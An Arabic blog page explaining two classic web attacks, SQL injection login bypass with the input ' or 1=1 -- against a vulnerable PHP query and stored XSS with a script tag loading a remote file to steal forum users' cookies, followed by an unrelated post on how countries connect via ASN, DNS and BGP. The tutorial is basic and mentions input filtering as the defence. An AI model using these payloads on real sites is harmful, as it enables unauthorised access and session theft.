امن البيانات وحماية تطبيقات الويب - hdz-info.com

امن البيانات وحماية تطبيقات الويب

 امن البيانات وحماية تطبيقات الويب





أولاً: قواعد البيانات
اغلب أو كل مصممى تطبيقات الويب (PHP or ASP … etc)، يصمم موقع (أى كان نشاطه) يسمح للمستخدم الدخول عليه بواسطة اسم مستخدم وكلمة مرور.
حيث يكون موقعه مرتبط بقاعدة بيانات (MySQL or MS-SQL … etc) ويوجد جدول يحتوى على اسماء المستخدمين المسجلين وكلمة المرور لكل مستخدم (Plain or Encrypted).
كما توجد صفحة لتسجيل الدخول (Login page) تسأل المستخدم عن الاسم/الباسورد.
وعند استقبالهم يتم عمل استعلام فى قاعدة البيانات، للتأكد من أن أسم المستخدم وكلمة المرور صحيحين.
ولنفترض انه تم استقبال أسم المستخدم فى المتغير $User واستقبال كلمة المرور فى المتغير Pass$
فعند الاستعلام ستكون جملة السيكيويل مشابهة للتالى: (سأشرح بالـ PHP)
$query = "SELECT * FROM UsersTable WHERE Username='$User' AND Password='Pass$'";
لو فرضنا أن اسم المستخدم الذى تم إدخاله Muhammd وكلمة المرور: abcd، فستصيح الكملة كالتالى:
$query = "SELECT * FROM UsersTable WHERE Username='Muhammad' AND Password='abcd'";
عند تنفيذ هذه الجملة، إذا كان الاسم وكلمة المرور موجودين فى قاعدة البيانات فى الجدول UsersTable، سيتم إرجاع البيانات Row ، أما إذا كان اسم المستخدم أو كلمة المرور غير صحيح، فلن يرجع الاستعلام أى نتيجة، ويمكن حينها إظهار رسالة للمستخدم تفيد أن اسم المستخدم أو كلمة المرور غير صحيحة.
كل لغات البرمجة وقواعد البيانات تسمح بكتابة تعليق Remark، وهذا التعليق لا ينظر إلية عند التنفيذ، ولكن الغرض منه هو مساعدة المبرمج حتى يكون السورس مقروء بسهولة، او شرح بسيط لجزء فى السورس.
فمثلا لغة سى تستخدم /* */ وجافا وسى بلاس بلاس تستخدم ايضاً // وحتى html تستخدم <!- ->
واغلب قواعد بيانات سيكيويل تستخدم /* */ و –
إلى الآن يبدوا ألا توجد مشكلة فى الموقع الذى قمت بتصميمة ! دعنا نختبر ونرى .....
هل يمكن استغلال الـ Remark فى اختراق موقعك والدخول إليه بدون معرفة اسم المستخدم أو كلمة المرور؟ الإجابة ببساطة: نعم
نفترض أن الهاكر، فى صفحة الدخول (login page) ادخل البيانات كالتالى:
Username :Muhammad
Password: ' or 1=1 –
دعنا نرى عند تموين جملة $qusey كيف ستكون
$query = "SELECT * FROM UsersTable WHERE Username='$User' AND Password='Pass$'";
$User: usama
$Pass: ' or 1=1 –
$query = "SELECT * FROM UsersTable WHERE Username='Muhammad' AND Password='' or 1=1 – ' ";
وهنا أصبحت الجملة بالشكل التالى:
SELECT * FROM UsersTable WHERE Username='Muhammad' AND Password='' or 1=1 – '
واستطاع الهاكر ان يضيف لجملة $query معامل منطقى وهو OR 1=1 وهو دائما صحيح، وبالتالى فبدون كلمة مرور، دائما جملة SQL سترجع نتائج وسيتطبع الدخول للموقع والعبث فيه، دون ان يكون مصرح له بذلك.
هذا الأسلوب من الاختراق قديم وأصبح معروف عند اغلب مصممى المواقع، ويسمى بحقن جمل السيكويل أو SQL Injection.
ولتجنب ذلك هناك أساليب وطريق كثيرة جداً ودوال جاهزة فى PHP وظيفتها فحص المدخلات قبل حقنها فى جمل SQL.
-------------------------------------------------------------------
ثانياً: صفحات الويب والكوكيز
هناك أيضا طريقة أخر وهذه تستغل حقن وتنفيذ كود javascript داخل بيانات يتم عرضها لمستخدمين اخرين.
ولنفترض أن المستهدف هو منتدى مثلاً
فالمنتدى يسمح لك كتابة موضوع أو مشاركة ويسمح لأعضاء آخرين مشاهدة ما قمت بكتابته
وبالتالى إذا كتبت فى المشاركة كود javascript ، ولم يكن مبرمج المنتدى قام بالحماية اللازمة لمنع هذه الثغرة
فكود javascript الذى قمت بكتابته فى المشاركة، سيتم تنفيذه عند كل عضو من أعضاء المنتدى، عند مشاهدة المشاركة التى قمت بكتابتها. دعنا نرى كيف يتم ذلك وكيف يمكن استغلاله:
يبدء العمل بالتسجيل فى الموقع (المنتدى فى هذه الحالة)، كعضو عادى جداً
ثم دراسة html التى يقوم المنتدى بعرض المشاركات فيها، ولنفترض ان المشاركة يتم عرضها بالطريقة التالية:
<div class='post'> Post contents </div>
ماذا سيحدث إذا قمت بكتابة التالى فى الـمشاركة:
<script> alert('Hellllllo'); </script>
سيصبح شكل المشاركة عند استعراضها كالتالى:
<div class='post'> <script> alert('Hellllllo'); </script> </div>
وتنفيذ هذا الكود سيظهر للمستخدم عند الدخول على الصفحة MessageBox مكتوب فيه Hellllllo
جميل .. ولكن ماذا استفدنا من ذلك ؟
دعنا نجرب شيئ أخر ...
<script src='http://mysite.com/xsscode.js'></script>
واااااو .. عند استعراض المشاركة، سيتم تحميل ملف جافا سكريبت xsscode.js انت من قمت بكتابته، وتنفيذه عند المستخدم، ولك أن تتخيل ما يمكن فعله بذلك. على سبيل المثال: document.cookie سيقرء الـ Cookies الخاصة بالمستخدم (لهذا المنتدى، اذا لم يكن الكوكيز محمى بـ httponly) ويمكنك بالجافا سكريبت ودون أن يشعر الضحية
بأى شيئ وفى لحظات قليلة إرسالها Cookies لصفحة من تصميمك، لتخزينها واستخدامها لاختراق حساب المستخدم والدخول باسمه دون الحاجة لمعرفة كلمة مروره. ناهيك عن معرفة بعض خصوصياته مثل رقم IP الخاص به، والذى من خلاله يمكن تحديد المنطقة الجغرافية القاطن فيها.
هذا الأسلوب من الاختراق قديم وأصبح معروف عند اغلب مصممى المواقع، ويسمى Cross-site scripting أو اختصاراً (XSS) و يسمى أيضا بحقن جمل html أو HTML Injection.
ولتجنب ذلك هناك أساليب وطريق كثيرة جداً ودوال جاهزة فى PHP وظيفتها فحص المدخلات قبل حقنها فى جمل SQL للتأكد من أنها لا تحتوى اكواد جافا سكريبت.
كيف ترتبط الدول بشبكة الانترنت؟
سؤال يدور بخلد كل مهندس للبنية التحتية للشبكاتوحاولت ان اختصره في الاسطر القليلة التالية,
كل دولة مرتبطة بشبكة الانترنت وتقوم بتزويد المواطنين بهذه الخدمة لابد ان تمتلك التالي
عناوين انترنت حقيقة public IPs
رقم نظام عالمي مميز ASN
تفويض لنظام ترجمة الاسماء على الانترنت DNS
اولا عناوين انترنت حقيقة
ويمكن الحصول عليها من خلال منظمة IANA والتي قسمت العمل على مجموعة منظمات فرعية مسؤولة عن كل قارة بحذ ذاتها على سبيل المثال المنظمة الفرعية AFRINIC المسؤولة عن قارة افريقيا.
هذه العناونين تصير بشكل رسمي مسجلة باسم تلك الدولة التي قامت بشرائها وبالطبع كل دولة لها عناوين مميزة عن غيرها من الدول.
ثانيا ASN
وعن طريق نفس المنظمات تقوم الدول بشراء مايعرف ب ASN وهو عبارة عن رقم مميز عالميا مثله مثل عناوين الانترنت تتميز به هذه الدولة عن تلك.
ثالثا DNS
وهو النظام المسؤول عن ترجمة الاسماء الى عناوين والعكس, فكل دولة سوف تحصل على ملف خاص بها بامتداد خاص بها فمثلا اليمن تم تفويضها من قبل المنظمة لتتحمل مسؤولية الملف .YE وقس على ذلك بقية الدول.
كيفية الربط بشبكة الانترنت
هناك شركات دولية تقوم بتزويد الانترنت للدول وللشركات الضخمة تعرف باسم International ISP , كل مزود يمتلك ASN and public IPS ايضا وبالتالي تقوم الدول بربط رقمها المميز ASN برقم مزودها
يتم هذا باستخدام بروتوكول الانترنت الشهير باسم BGP او بالاصح EBGP , تتم هذه الخطوة من اجل ان يتم الاعلان عن عناوين الدولة الحقيقة عبر مزودها وهذا مايعرف بعملية ال Advertising والتي فيها تقوم الدولة بالاعلان لشبكة الانترنت انه ومن اجل الوصول الى اي عنوان تمتلكه ان يتم الوصول اليه عبر الرقم المميز لمزودها ومن تم الرقم المميز للدولة نفسها
بروتوكول ال BGP لدية خصاص ومميزات كثيرة ومرنة مماتجعله البروتوكول المرشح لربط الدول بشبكة الانترنت, وبالطبع لابد من وجود مزود خدمة اخر كاحتياط في حالة تعذر المزود الاول عن تقديم الخدمة لاي سبب من الاسباب او من اجل توزيع ال traffic بين المزوديين
يتم تقسييم ال traffic على المزودين عن طريق تقسيم ال advertising للعناوين الحقيقة عن طريق المزودين يمعنى اذا كانت الدولة تمتلك العناوين من A حتى D فسوف تقوم باعلان A & B عن طريق المزود الاول و C & D عن طريق المزود الثاني
ومن اجل الاحتياط فسوف تقوم باستخدام ال BGP ايضا للاعلان بشكل عكسي بمعني ستقوم بالاعلان عن A & B مرة اخرى عن طريق المزود الثاني ولكن بأولوية اقل عن المزود الاول فبالتالي مستخدمي شبكة الانترنت سيجدون انهم يستطيعون الوصول الى العنوان A من خلال المزود الاول والثاني في نفس الوقت ولكن سيتم اختيار المزود الاول لان الدولة قامت بالاعلان عن العنوان A عن طريقة بأولوية اكبر عنها عن طريق المزود الثاني
وبالتالي فان حدث وانقطع المزود الاول عن تزويد الخدمة فسوف يتحول ال traffic بشكل اوتوماتيكي عن طريق المزود الثاني مباشرة.




#AL_JOKER_AL_HAZRED المصدر:

Post a Comment

0 Comments